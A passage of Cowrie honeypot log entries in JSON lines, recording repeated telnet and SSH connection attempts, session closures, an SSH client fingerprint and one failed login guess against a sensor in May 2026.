sa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.110202Z","src_ip":"45.43.86.48","session":"2f78e79add59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.778130769729614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.179049Z","src_ip":"209.126.87.217","session":"4da51e874dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4f0070a234","protocol":"telnet","message":"New connection: 108.179.216.206:45216 (10.17.0.5:23) [session: 7e4f0070a234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.252532Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazwsx","message":"login attempt [ubuntu/1qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.520790Z","src_ip":"45.43.86.48","session":"2f78e79add59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45694,"dst_ip":"10.17.0.5","dst_port":23,"session":"7033d286c9d5","protocol":"telnet","message":"New connection: 108.179.216.206:45694 (10.17.0.5:23) [session: 7033d286c9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.670916Z"}
{"eventid":"cowrie.session.closed","duration":34.784156799316406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.852220Z","src_ip":"209.126.87.217","session":"36359f9349f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46024,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5f8c32df4b","protocol":"telnet","message":"New connection: 108.179.216.206:46024 (10.17.0.5:23) [session: 2c5f8c32df4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.976814Z"}
{"eventid":"cowrie.session.closed","duration":34.43341612815857,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:31.037573Z","src_ip":"209.126.87.217","session":"c8f2d55c2b4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:31.235615Z","src_ip":"103.146.202.174","session":"6eb59828f07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:31.609603Z","src_ip":"45.43.86.48","session":"2f78e79add59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.675373554229736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:31.723412Z","src_ip":"108.179.216.206","session":"9eeeff9468f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48149,"dst_ip":"10.17.0.5","dst_port":23,"session":"645d707d79ef","protocol":"telnet","message":"New connection: 108.179.216.206:48149 (10.17.0.5:23) [session: 645d707d79ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:31.969033Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47256,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c945075f4e","protocol":"telnet","message":"New connection: 108.179.216.206:47256 (10.17.0.5:23) [session: 06c945075f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:32.183451Z"}
{"eventid":"cowrie.session.closed","duration":34.26108646392822,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:32.326961Z","src_ip":"209.126.87.217","session":"4c9ab88443a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310582160949707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:32.428747Z","src_ip":"108.179.216.206","session":"b12f3f4f9376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49450,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d03c6db8e2","protocol":"telnet","message":"New connection: 108.179.216.206:49450 (10.17.0.5:23) [session: 09d03c6db8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:33.112980Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49958,"dst_ip":"10.17.0.5","dst_port":23,"session":"8066c3a1de77","protocol":"telnet","message":"New connection: 108.179.216.206:49958 (10.17.0.5:23) [session: 8066c3a1de77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:33.563104Z"}
{"eventid":"cowrie.session.closed","duration":31.550531148910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:33.835290Z","src_ip":"108.179.216.206","session":"ceae961d7516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27193546295166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:33.842095Z","src_ip":"108.179.216.206","session":"1a630fd9fc20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"307568db96d8","protocol":"telnet","message":"New connection: 108.179.216.206:50556 (10.17.0.5:23) [session: 307568db96d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:34.086473Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37808,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b6f6afa35a","protocol":"telnet","message":"New connection: 209.126.87.217:37808 (159.203.135.109:23) [session: 94b6f6afa35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:34.289483Z"}
{"eventid":"cowrie.session.closed","duration":30.785396814346313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:34.295014Z","src_ip":"108.179.216.206","session":"45bbc6c856e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51876,"dst_ip":"10.17.0.5","dst_port":23,"session":"8027c6e021e4","protocol":"telnet","message":"New connection: 108.179.216.206:51876 (10.17.0.5:23) [session: 8027c6e021e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:35.320766Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51180,"dst_ip":"10.17.0.5","dst_port":23,"session":"87aad7437f19","protocol":"telnet","message":"New connection: 108.179.216.206:51180 (10.17.0.5:23) [session: 87aad7437f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:35.676869Z"}
{"eventid":"cowrie.session.closed","duration":62.80314588546753,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:36.199704Z","src_ip":"108.179.216.206","session":"e87abdeccdcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53764,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcfde19b2995","protocol":"telnet","message":"New connection: 108.179.216.206:53764 (10.17.0.5:23) [session: dcfde19b2995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:36.924615Z"}
{"eventid":"cowrie.session.closed","duration":30.619024515151978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:37.348340Z","src_ip":"108.179.216.206","session":"fbae4d5c56b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073225498199463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:37.488859Z","src_ip":"108.179.216.206","session":"0f738d7986fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01255464553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:37.498739Z","src_ip":"108.179.216.206","session":"72efacf3187c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.654571533203125,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:37.895143Z","src_ip":"108.179.216.206","session":"42b4dd455aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800082683563232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:38.154998Z","src_ip":"108.179.216.206","session":"f7dbacb07b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961666345596313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:38.188068Z","src_ip":"108.179.216.206","session":"3089dffd6e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"034d2628824f","protocol":"telnet","message":"New connection: 108.179.216.206:54296 (10.17.0.5:23) [session: 034d2628824f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:38.473790Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54426,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf2d2e6499a","protocol":"telnet","message":"New connection: 108.179.216.206:54426 (10.17.0.5:23) [session: 2cf2d2e6499a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:38.555143Z"}
{"eventid":"cowrie.session.closed","duration":30.216675758361816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:39.169338Z","src_ip":"108.179.216.206","session":"db575162142f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544214010238647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:39.329784Z","src_ip":"108.179.216.206","session":"aa1547935f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242908239364624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:40.050877Z","src_ip":"108.179.216.206","session":"f54b17ed30b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.111850261688232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:40.081463Z","src_ip":"108.179.216.206","session":"3b8f6d8a1498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168843030929565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:40.164598Z","src_ip":"108.179.216.206","session":"332b1698dff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909545421600342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:40.314559Z","src_ip":"108.179.216.206","session":"47f6ec22c4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8616886138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:41.435028Z","src_ip":"108.179.216.206","session":"2f38439ffc27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66092300415039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:42.107949Z","src_ip":"108.179.216.206","session":"e185a3f6eaf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60024,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14c20f7c1cb","protocol":"telnet","message":"New connection: 108.179.216.206:60024 (10.17.0.5:23) [session: d14c20f7c1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:42.597002Z"}
{"eventid":"cowrie.session.closed","duration":30.794054985046387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:43.138987Z","src_ip":"108.179.216.206","session":"87fd37dcf044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6367301940918,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:43.223063Z","src_ip":"209.126.87.217","session":"bf3eed251561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":32890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4865c6f0acb","protocol":"telnet","message":"New connection: 108.179.216.206:32890 (10.17.0.5:23) [session: c4865c6f0acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:43.582987Z"}
{"eventid":"cowrie.session.closed","duration":30.94124174118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:43.767014Z","src_ip":"108.179.216.206","session":"5b2a569ee184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429200649261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:44.404078Z","src_ip":"108.179.216.206","session":"e28535782d33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482080459594727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:45.077901Z","src_ip":"108.179.216.206","session":"d3c116b5e54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e7eabc4289","protocol":"telnet","message":"New connection: 209.126.87.217:36278 (159.203.135.109:23) [session: e6e7eabc4289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:45.442029Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36282,"dst_ip":"159.203.135.109","dst_port":23,"session":"85536839235a","protocol":"telnet","message":"New connection: 209.126.87.217:36282 (159.203.135.109:23) [session: 85536839235a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:45.606530Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35624,"dst_ip":"10.17.0.5","dst_port":23,"session":"371c045d6c98","protocol":"telnet","message":"New connection: 108.179.216.206:35624 (10.17.0.5:23) [session: 371c045d6c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:45.731780Z"}
{"eventid":"cowrie.session.closed","duration":30.704418182373047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:46.248831Z","src_ip":"108.179.216.206","session":"90091125ccf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532023668289185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:47.145131Z","src_ip":"108.179.216.206","session":"0be10167aa05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37240,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeb7c83f8cad","protocol":"telnet","message":"New connection: 108.179.216.206:37240 (10.17.0.5:23) [session: aeb7c83f8cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:47.232490Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37572,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a07d4f8cd8","protocol":"telnet","message":"New connection: 108.179.216.206:37572 (10.17.0.5:23) [session: 80a07d4f8cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:47.510300Z"}
{"eventid":"cowrie.session.closed","duration":31.173736810684204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:47.632493Z","src_ip":"108.179.216.206","session":"505335b63d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141780853271484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:47.637747Z","src_ip":"108.179.216.206","session":"26681f21ea67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.39209032058716,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:48.374050Z","src_ip":"108.179.216.206","session":"9024f6439926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31090044975281,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:49.400417Z","src_ip":"209.126.87.217","session":"622387685a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4331271648407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:49.441533Z","src_ip":"108.179.216.206","session":"8cb7d87fbab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77693510055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:49.583658Z","src_ip":"108.179.216.206","session":"939e88dc17a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e452c6f9e0a","protocol":"telnet","message":"New connection: 108.179.216.206:39126 (10.17.0.5:23) [session: 2e452c6f9e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:49.822147Z"}
{"eventid":"cowrie.session.closed","duration":30.461134910583496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:50.051934Z","src_ip":"108.179.216.206","session":"f5688824a81f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769882917404175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:50.116773Z","src_ip":"108.179.216.206","session":"47c8606bf10f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":36150,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52082fa6d16","protocol":"telnet","message":"New connection: 108.179.216.206:36150 (10.17.0.5:23) [session: e52082fa6d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:50.232588Z"}
{"eventid":"cowrie.session.closed","duration":31.136581420898438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:50.723737Z","src_ip":"108.179.216.206","session":"54976aa52472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.80364942550659,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:51.077431Z","src_ip":"209.126.87.217","session":"a5a1cd6e0d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef138f74bae7","protocol":"telnet","message":"New connection: 108.179.216.206:40552 (10.17.0.5:23) [session: ef138f74bae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:51.132042Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43116,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b3bc531a7a7","protocol":"telnet","message":"New connection: 108.179.216.206:43116 (10.17.0.5:23) [session: 1b3bc531a7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:52.360941Z"}
{"eventid":"cowrie.session.closed","duration":31.65116834640503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:52.912905Z","src_ip":"108.179.216.206","session":"c9d12b7788de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454503297805786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:53.235520Z","src_ip":"108.179.216.206","session":"a17e4bcf4ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44932,"dst_ip":"159.203.135.109","dst_port":23,"session":"21560330a617","protocol":"telnet","message":"New connection: 209.126.87.217:44932 (159.203.135.109:23) [session: 21560330a617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:53.590765Z"}
{"eventid":"cowrie.session.closed","duration":30.45953941345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:54.425271Z","src_ip":"108.179.216.206","session":"0c79053f9648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79946708679199,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:54.833763Z","src_ip":"108.179.216.206","session":"cf245cae31e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.498370885849,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:55.426254Z","src_ip":"209.126.87.217","session":"85cf6d87908a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84a140d3662","protocol":"telnet","message":"New connection: 108.179.216.206:38688 (10.17.0.5:23) [session: e84a140d3662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:55.576586Z"}
{"eventid":"cowrie.session.closed","duration":30.859256982803345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:56.325755Z","src_ip":"108.179.216.206","session":"48e61f727fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.79955244064331,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:56.382699Z","src_ip":"209.126.87.217","session":"fea43fcf616d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57218289375305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:59.304471Z","src_ip":"108.179.216.206","session":"1c69549033f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806450128555298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:59.704980Z","src_ip":"108.179.216.206","session":"2644474154b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54578,"dst_ip":"159.203.135.109","dst_port":23,"session":"7893bd0aeb68","protocol":"telnet","message":"New connection: 209.126.87.217:54578 (159.203.135.109:23) [session: 7893bd0aeb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:59.776050Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42448,"dst_ip":"159.203.135.109","dst_port":22,"session":"94f5c93a90c7","protocol":"ssh","message":"New connection: 159.203.92.129:42448 (159.203.135.109:22) [session: 94f5c93a90c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.013050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:01.019261Z","src_ip":"159.203.92.129","session":"94f5c93a90c7","protocol":"ssh"}
